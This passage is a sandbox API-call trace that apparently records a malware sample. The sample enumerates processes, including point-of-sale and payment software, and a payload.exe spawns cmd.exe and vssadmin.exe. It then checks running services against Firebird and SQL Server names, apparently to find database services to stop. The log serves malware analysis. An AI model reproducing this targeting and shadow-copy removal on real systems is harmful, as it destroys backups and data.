szExeFile="ccv_server.exe")) returned 1 [0060.568] lstrlenW (lpString="ccv_server.exe") returned 14 [0060.568] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x958, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0060.568] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0060.569] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x968, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0060.569] lstrlenW (lpString="creditservice.exe") returned 17 [0060.569] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0060.570] lstrlenW (lpString="edcsvr.exe") returned 10 [0060.570] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x988, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0060.571] lstrlenW (lpString="fpos.exe") returned 8 [0060.571] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0060.572] lstrlenW (lpString="isspos.exe") returned 10 [0060.572] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0060.853] lstrlenW (lpString="mxslipstream.exe") returned 16 [0060.853] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0060.854] lstrlenW (lpString="omnipos.exe") returned 11 [0060.854] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0060.855] lstrlenW (lpString="spcwin.exe") returned 10 [0060.855] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0060.855] lstrlenW (lpString="spgagentservice.exe") returned 19 [0060.855] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0060.856] lstrlenW (lpString="utg2.exe") returned 8 [0060.856] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="slope.exe")) returned 1 [0060.857] lstrlenW (lpString="slope.exe") returned 9 [0060.857] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="entered.exe")) returned 1 [0060.858] lstrlenW (lpString="entered.exe") returned 11 [0060.858] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="demographicinfluences.exe")) returned 1 [0060.858] lstrlenW (lpString="demographicinfluences.exe") returned 25 [0060.858] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="attach.exe")) returned 1 [0060.859] lstrlenW (lpString="attach.exe") returned 10 [0060.859] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="obligations.exe")) returned 1 [0060.859] lstrlenW (lpString="obligations.exe") returned 15 [0060.860] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0060.860] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0060.860] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0060.861] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0060.861] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0060.861] lstrlenW (lpString="taskhost.exe") returned 12 [0060.862] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0060.862] lstrlenW (lpString="dllhost.exe") returned 11 [0060.862] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0060.863] lstrlenW (lpString="dllhost.exe") returned 11 [0060.863] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0060.863] lstrlenW (lpString="payload.exe") returned 11 [0060.864] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0060.864] lstrlenW (lpString="cmd.exe") returned 7 [0060.864] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0060.865] lstrlenW (lpString="conhost.exe") returned 11 [0060.865] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x15c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0060.865] lstrlenW (lpString="vssadmin.exe") returned 12 [0060.865] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x15c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0060.866] CloseHandle (hObject=0x1a8) returned 1 [0060.866] Sleep (dwMilliseconds=0x1f4) [0061.493] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x626be0 [0061.493] EnumServicesStatusExW (in: hSCManager=0x626be0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0061.494] GetLastError () returned 0xea [0061.494] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11e4) returned 0x3f10050 [0061.494] EnumServicesStatusExW (in: hSCManager=0x626be0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3f10050, cbBufSize=0x11e4, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3f10050, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0061.495] CloseServiceHandle (hSCObject=0x626be0) returned 1 [0061.495] lstrlenW (lpString="Appinfo") returned 7 [0061.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0061.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0061.495] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0061.495] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0061.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0061.495] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0061.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0061.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0061.495] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0061.495] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0061.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0061.495] lstrlenW (lpString="AudioSrv") returned 8 [0061.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0061.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0061.496] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0061.496] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0061.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0061.496] lstrlenW (lpString="BFE") returned 3 [0061.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0061.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0061.496] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0061.496] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0061.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0061.496] lstrlenW (lpString="CryptSvc") returned 8 [0061.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0061.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0061.496] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0061.496] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0061.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0061.496] lstrlenW (lpString="CscService") returned 10 [0061.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0061.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0061.496] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0061.496] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0061.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0061.496] lstrlenW (lpString="DcomLaunch") returned 10 [0061.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0061.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0061.496] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0061.496] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0061.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0061.496] lstrlenW (lpString="Dhcp") returned 4 [0061.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0061.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0061.497] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0061.497] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0061.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0061.497] lstrlenW (lpString="Dnscache") returned 8 [0061.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0061.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0061.497] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0061.497] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0061.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0061.497] lstrlenW (lpString="DPS") returned 3 [0061.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0061.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0061.497] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0061.497] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0061.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0061.497] lstrlenW (lpString="eventlog") returned 8 [0061.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0061.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0061.497] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0061.497] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0061.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0061.497] lstrlenW (lpString="EventSystem") returned 11 [0061.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0061.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0061.497] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0061.497] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0061.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0061.497] lstrlenW (lpString="gpsvc") returned 5 [0061.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0061.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0061.497] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0061.497] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0061.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0061.498] lstrlenW (lpString="iphlpsvc") returned 8 [0061.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0061.498] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0061.498] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0061.498] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0061.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0061.498] lstrlenW (lpString="LanmanServer") returned 12 [0061.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0061.498] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0061.498] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0061.498] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0061.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0061.498] lstrlenW (lpString="LanmanWorkstation") returned 17 [0061.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0061.498] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0061.498] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0061.498] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0061.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0061.498] lstrlenW (lpString="lmhosts") returned 7 [0061.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0061.498] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0061.498] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0061.498] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0061.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0061.498] lstrlenW (lpString="MMCSS") returned 5 [0061.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0061.498] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0061.498] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0061.499] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0061.499] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0061.499] lstrlenW (lpString="MpsSvc") returned 6 [0061.499] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0061.499] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0061.499] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0061.499] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0061.499] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0061.499] lstrlenW (lpString="Netman") returned 6 [0061.499] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0061.499] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0061.499] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0061.499] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0061.499] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0061.499] lstrlenW (lpString="netprofm") returned 8 [0061.499] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0061.499] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0061.499] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0061.499] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0061.499] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0061.499] lstrlenW (lpString="NlaSvc") returned 6 [0061.499] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0061.499] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0061.499] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0061.499] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0061.499] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0061.499] lstrlenW (lpString="nsi") returned 3 [0061.499] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0061.499] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0061.499] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0061.500] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0061.500] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0061.500] lstrlenW (lpString="PcaSvc") returned 6 [0061.500] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0061.500] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0061.500] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0061.500] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0061.500] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0061.500] lstrlenW (lpString="PlugPlay") returned 8 [0061.500] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0061.500] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0061.500] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0061.500] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0061.500] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0061.500] lstrlenW (lpString="Power") returned 5 [0061.500] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0061.500] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0061.500] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0061.500] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0061.500] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0061.500] lstrlenW (lpString="ProfSvc") returned 7 [0061.500] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0061.500] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0061.500] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0061.500] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0061.500] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0061.500] lstrlenW (lpString="RpcEptMapper") returned 12 [0061.500] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0061.500] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0061.501] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0061.501] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0061.501] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0061.501] lstrlenW (lpString="RpcSs") returned 5 [0061.501] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0061.501] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0061.501] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0061.501] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0061.501] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0061.501] lstrlenW (lpString="SamSs") returned 5 [0061.501] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0061.501] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0061.501] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0061.501] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0061.501] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0061.501] lstrlenW (lpString="Schedule") returned 8 [0061.501] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0061.501] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0061.501] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0061.501] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0061.501] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0061.501] lstrlenW (lpString="SENS") returned 4 [0061.501] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0061.501] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0061.501] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0061.501] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0061.501] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0061.501] lstrlenW (lpString="ShellHWDetection") returned 16 [0061.502] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0061.502] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0061.502] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0061.502] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0061.502] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0061.502] lstrlenW (lpString="Spooler") returned 7 [0061.502] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0061.502] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0061.502] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0061.502] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0061.502] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0061.502] 